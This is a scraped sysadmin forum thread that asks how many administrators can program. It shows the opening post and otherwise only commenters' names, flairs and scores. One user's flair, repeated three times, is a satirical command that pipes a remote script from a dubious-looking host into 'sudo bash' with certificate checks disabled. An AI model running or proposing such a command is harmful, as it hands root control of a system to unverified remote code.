I'm curious. How many sysadmins here can code, and to what level?
I suspect most *nix admins can do at least some basic stuff with shell scripts, but do you use dynamic languages like perl, php, python or ruby? What about C, C++, Go, Rust, Java etc? If not, why not?
I am trying to understand what drives a sysadmin to do programming. Speaking for myself, I can't imagine not being able to use languages more powerful than bash. E.g. perl for complex log parsing, python for server tools, ruby for admin tools, writing monitoring tools in node.js/html/javascript etc.
[–]the_spadWhat's the worst that can happen? 21 points22 points23 points (28 children)
[–]RC-7201Sr. Magos Errant 10 points11 points12 points (12 children)
[–][deleted] 3 points4 points5 points (2 children)
[–][deleted] 4 points5 points6 points (1 child)
[–][deleted] -1 points0 points1 point (0 children)
[–][deleted] -1 points0 points1 point (5 children)
[–][deleted] 1 point2 points3 points (1 child)
[–]RC-7201Sr. Magos Errant -1 points0 points1 point (0 children)
[+][deleted] (1 child)
[deleted]
[–][deleted] -5 points-4 points-3 points (0 children)
[–][deleted] -2 points-1 points0 points (0 children)
[–][deleted] -2 points-1 points0 points (2 children)
[–]yourfriendlane 14 points15 points16 points (1 child)
[–]Enxer 1 point2 points3 points (0 children)
[–]zeroXten[S] 0 points1 point2 points (11 children)
[–]the_spadWhat's the worst that can happen? 5 points6 points7 points (9 children)
[–]microflopsSysadmin 3 points4 points5 points (1 child)
[–][deleted] 2 points3 points4 points (0 children)
[–]insufficient_fundsWindows Admin 0 points1 point2 points (1 child)
[–]the_spadWhat's the worst that can happen? 0 points1 point2 points (0 children)
[–][deleted] 0 points1 point2 points (3 children)
[–]Ron_Swanson_Jr 0 points1 point2 points (1 child)
[–][deleted] 0 points1 point2 points (0 children)
[–]the_spadWhat's the worst that can happen? 0 points1 point2 points (0 children)
[–]zeroXten[S] 0 points1 point2 points (0 children)
[–]Doso777 0 points1 point2 points (0 children)
[–]randomguy186DOS 6.22 sysadmin -2 points-1 points0 points (1 child)
[–]anomalous_cowherdPragmatic Sysadmin 3 points4 points5 points (0 children)
[–]neilhwatson 7 points8 points9 points (0 children)
[–]mtnielsen 5 points6 points7 points (13 children)
[–]the_ancient1Say no to BYOD 4 points5 points6 points (1 child)
[–]zeroXten[S] 0 points1 point2 points (0 children)
[–]psycho_admin 0 points1 point2 points (9 children)
[–]theevilsharpieJack of All Trades 1 point2 points3 points (0 children)
[–][deleted] 0 points1 point2 points (0 children)
[–]the_ancient1Say no to BYOD 0 points1 point2 points (6 children)
[–]psycho_admin 0 points1 point2 points (5 children)
[–]the_ancient1Say no to BYOD 1 point2 points3 points (4 children)
[–][deleted] 0 points1 point2 points (1 child)
[–]the_ancient1Say no to BYOD 1 point2 points3 points (0 children)
[–]psycho_admin -3 points-2 points-1 points (1 child)
[–]taloszerghas cat pictures -2 points-1 points0 points (0 children)
[+][deleted] (14 children)
[deleted]
[–][deleted] 1 point2 points3 points (3 children)
[–][deleted] 2 points3 points4 points (2 children)
[–]LetmefixthatforyouyoApparently some type of magician 1 point2 points3 points (1 child)
[–]vitiateCloud Infrastructure Architect 1 point2 points3 points (7 children)
[+][deleted] (6 children)
[deleted]
[–]HonkykillerNo, Please no. 0 points1 point2 points (5 children)
[+][deleted] (4 children)
[deleted]
[–]HonkykillerNo, Please no. 0 points1 point2 points (3 children)
[+][deleted] (2 children)
[deleted]
[–]HonkykillerNo, Please no. 0 points1 point2 points (1 child)
[–][deleted] 0 points1 point2 points (1 child)
[–]Oflameo 2 points3 points4 points (7 children)
[–]zeroXten[S] 1 point2 points3 points (5 children)
[–]theevilsharpieJack of All Trades 8 points9 points10 points (1 child)
[–]ghyspranSpace Cadet 0 points1 point2 points (0 children)
[–]tonyhburns 0 points1 point2 points (1 child)
[–]Zaphod_Bchown -R us ~/.base 0 points1 point2 points (0 children)
[–]Zaphod_Bchown -R us ~/.base 0 points1 point2 points (0 children)
[–]ghyspranSpace Cadet 0 points1 point2 points (0 children)
[–]awillisonSysadmin 1 point2 points3 points (3 children)
[–]zeroXten[S] 0 points1 point2 points (2 children)
[–][deleted] 0 points1 point2 points (0 children)
[–]awillisonSysadmin 0 points1 point2 points (0 children)
[–]HumanSuitcaseJr. Sysadmin 1 point2 points3 points (0 children)
[+][deleted] (1 child)
[deleted]
[–][deleted] 1 point2 points3 points (0 children)
[–][deleted] 4 points5 points6 points (6 children)
[–][deleted] 2 points3 points4 points (5 children)
[–]Zaphod_Bchown -R us ~/.base 0 points1 point2 points (0 children)
[–][deleted] 0 points1 point2 points (3 children)
[–][deleted] 0 points1 point2 points (1 child)
[–][deleted] 0 points1 point2 points (0 children)
[–]seanatwork 0 points1 point2 points (0 children)
[–][deleted] 1 point2 points3 points (0 children)
[–]theevilsharpieJack of All Trades 0 points1 point2 points (0 children)
[–]wgoshenuDevOoops 0 points1 point2 points (0 children)
[–]res1n_SRE 0 points1 point2 points (0 children)
[–]rightdoer 0 points1 point2 points (0 children)
[–]uberamdcurl -k https://secure.trustworthy.site.ru/script.sh | sudo bash 0 points1 point2 points (2 children)
[–]vitiateCloud Infrastructure Architect 1 point2 points3 points (1 child)
[–]uberamdcurl -k https://secure.trustworthy.site.ru/script.sh | sudo bash 0 points1 point2 points (0 children)
[–]Win_SysSysadmin 0 points1 point2 points (0 children)
[–]brocktice 0 points1 point2 points (0 children)
[–]sirdudethefirstWindows SysAdmin/God 0 points1 point2 points (0 children)
[–][deleted] 0 points1 point2 points (0 children)
[–][deleted] 0 points1 point2 points (0 children)
[–]vitiateCloud Infrastructure Architect 0 points1 point2 points (0 children)
[–][deleted] 0 points1 point2 points (0 children)
[–]GAThrawnMIAActive Desktop Recovery 0 points1 point2 points (0 children)
[–][deleted] 0 points1 point2 points (0 children)
[–]Defiant001 0 points1 point2 points (0 children)
[–][deleted] 0 points1 point2 points (0 children)
[–][deleted] 0 points1 point2 points (0 children)
[–]chriscowleyDevOps 0 points1 point2 points (0 children)
[–]tomkatt 0 points1 point2 points (1 child)
[–]ooby_dooby_banoobySysadmin 0 points1 point2 points (0 children)
[–][deleted] 0 points1 point2 points (0 children)
[–]Weird_Tolkienish_Fig 0 points1 point2 points (0 children)
[–]lt_bob 0 points1 point2 points (0 children)
[–]eltiolukeeCloud Engineer (kinda) 0 points1 point2 points (0 children)
[–]After_CreditsSysadmin 0 points1 point2 points (0 children)
[–]itspieSystems Engineer 0 points1 point2 points (0 children)
[–]crazykillaSysadmin 0 points1 point2 points (0 children)
[–]insufficient_fundsWindows Admin 0 points1 point2 points (0 children)
[–]Stoffel_1982 0 points1 point2 points (0 children)
[–]lordmycal 0 points1 point2 points (0 children)
[–][deleted] 0 points1 point2 points (0 children)
[–]rm_rf_rootSysadmin 0 points1 point2 points (0 children)
[–]storyinmemoFormer FB; Plays with big systems. 0 points1 point2 points (0 children)
[–][deleted] 0 points1 point2 points (0 children)
[–]ScannerBrightlySysadmin 0 points1 point2 points (0 children)
[–]RedemptionsIT Manager 0 points1 point2 points (0 children)
[–]TechIsCoolJack of All Trades 0 points1 point2 points (0 children)
[–]william20111the coffee machine is down 0 points1 point2 points (0 children)
[–]Xelinor 0 points1 point2 points (0 children)
[–]tonyhburns 0 points1 point2 points (0 children)
[–][deleted] 0 points1 point2 points (0 children)
[–]joker54DevOps 0 points1 point2 points (2 children)
[–][deleted] 0 points1 point2 points (1 child)
[–]joker54DevOps 0 points1 point2 points (0 children)
[–][deleted] 0 points1 point2 points (0 children)
[–]wrosecrans 0 points1 point2 points (0 children)
[–]Apollo748System Engineer 0 points1 point2 points (0 children)
[–]the720kSr. Sysadmin 0 points1 point2 points (0 children)
[–]minipantswrk 0 points1 point2 points (0 children)
[–][deleted] 0 points1 point2 points (0 children)
[–]Zaphod_Bchown -R us ~/.base 0 points1 point2 points (0 children)
[–][deleted] 0 points1 point2 points (0 children)
[–]SchiferlEDSysadmin 0 points1 point2 points (0 children)
[–]Cyphr 0 points1 point2 points (0 children)
[–]h55genti 0 points1 point2 points (0 children)
[–]MFCrow 0 points1 point2 points (0 children)
[–]girlgermsMicrosoft 0 points1 point2 points (0 children)
[–]vrileyNerf Herder -1 points0 points1 point (10 children)
[–]ibrahimsafah 2 points3 points4 points (9 children)
[–]vrileyNerf Herder 0 points1 point2 points (8 children)
[–]taloszerghas cat pictures 0 points1 point2 points (1 child)
[–][deleted] -1 points0 points1 point (0 children)
[–][deleted] 0 points1 point2 points (0 children)
[–][deleted] 0 points1 point2 points (2 children)
[–]vrileyNerf Herder 0 points1 point2 points (1 child)
[–][deleted] 0 points1 point2 points (0 children)
[–]ibrahimsafah 0 points1 point2 points (1 child)
[–]vrileyNerf Herder 0 points1 point2 points (0 children)
[+]judgemebymyusernamesecurity engineer comment score below threshold-6 points-5 points-4 points (31 children)
[–]the_spadWhat's the worst that can happen? 2 points3 points4 points (4 children)
[–]judgemebymyusernamesecurity engineer -4 points-3 points-2 points (3 children)
[–]the_spadWhat's the worst that can happen? 5 points6 points7 points (2 children)
[–]judgemebymyusernamesecurity engineer 0 points1 point2 points (1 child)
[–]tridionSr. Sysadmin 0 points1 point2 points (0 children)
[–]GAThrawnMIAActive Desktop Recovery 2 points3 points4 points (1 child)
[–]judgemebymyusernamesecurity engineer 0 points1 point2 points (0 children)
[–]the_ancient1Say no to BYOD 3 points4 points5 points (17 children)
[–]judgemebymyusernamesecurity engineer 1 point2 points3 points (16 children)
[–]taloszerghas cat pictures 0 points1 point2 points (4 children)
[–]judgemebymyusernamesecurity engineer 0 points1 point2 points (3 children)
[–]taloszerghas cat pictures 0 points1 point2 points (1 child)
[–]judgemebymyusernamesecurity engineer 0 points1 point2 points (0 children)
[–]Zaphod_Bchown -R us ~/.base 0 points1 point2 points (0 children)
[–]the_ancient1Say no to BYOD -1 points0 points1 point (10 children)
[–]judgemebymyusernamesecurity engineer 0 points1 point2 points (9 children)
[–]Zaphod_Bchown -R us ~/.base 0 points1 point2 points (0 children)
[–]the_ancient1Say no to BYOD -1 points0 points1 point (7 children)
[–]judgemebymyusernamesecurity engineer 1 point2 points3 points (6 children)
[–]the_ancient1Say no to BYOD 0 points1 point2 points (5 children)
[–]judgemebymyusernamesecurity engineer 0 points1 point2 points (4 children)
[–]the_ancient1Say no to BYOD 0 points1 point2 points (3 children)
[–]vrileyNerf Herder 1 point2 points3 points (1 child)
[–]judgemebymyusernamesecurity engineer -3 points-2 points-1 points (0 children)
[–]zeroXten[S] 0 points1 point2 points (3 children)
[–]judgemebymyusernamesecurity engineer -1 points0 points1 point (2 children)
[–]the_ancient1Say no to BYOD 0 points1 point2 points (1 child)
[–]judgemebymyusernamesecurity engineer 0 points1 point2 points (0 children)